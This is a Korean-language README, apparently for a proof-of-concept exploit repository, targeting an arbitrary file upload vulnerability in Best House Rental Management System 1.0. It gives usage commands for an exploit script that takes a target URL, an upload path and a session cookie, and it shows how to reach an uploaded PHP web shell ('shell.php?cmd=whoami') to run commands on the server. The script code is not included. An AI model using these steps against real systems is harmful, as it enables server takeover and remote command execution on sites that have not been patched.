
이 Python 스크립트는 Best House Rental Management System 1.0의 임의 파일 업로드 취약점을 악용하는 방법을 보여줍니다. 이 취약점으로 인해 공격자는 악성 파일(예: PHP 웹 셸)을 업로드하고 대상 서버에서 임의의 명령을 실행할 수 있습니다.
저장소를 클론하고 해당 디렉터리로 이동합니다:
git clone https://github.com/yourusername/house-rental-poc.git
cd house-rental-poc
다음 매개변수를 사용하여 익스플로잇을 실행합니다:
bash
python exploit_house_rental.py <target_url> <file_upload_path> <session_cookie>
target_url: 취약한 파일 업로드 페이지의 URL (예: http:///rental/admin_class.php?view=save_settings) file_upload_path: 업로드된 파일이 저장되는 경로 (예: http:///path/to/uploaded/files) session_cookie: 인증된 사용자의 세션 쿠키
성공하면 대상 서버에서 다음 URL에 접속하여 명령을 실행할 수 있습니다:
bash
http://<file_upload_path>/shell.php?cmd=whoami
whoami 또는 uname -a와 같은 명령을 실행하여 테스트합니다.
예제
python exploit_house_rental.py http://127.0.0.1/rental/admin_class.php?view=save_settings http://127.0.0.1/uploads/ SESSION_ID=123456789
이 코드는 MIT License에 따라 배포됩니다.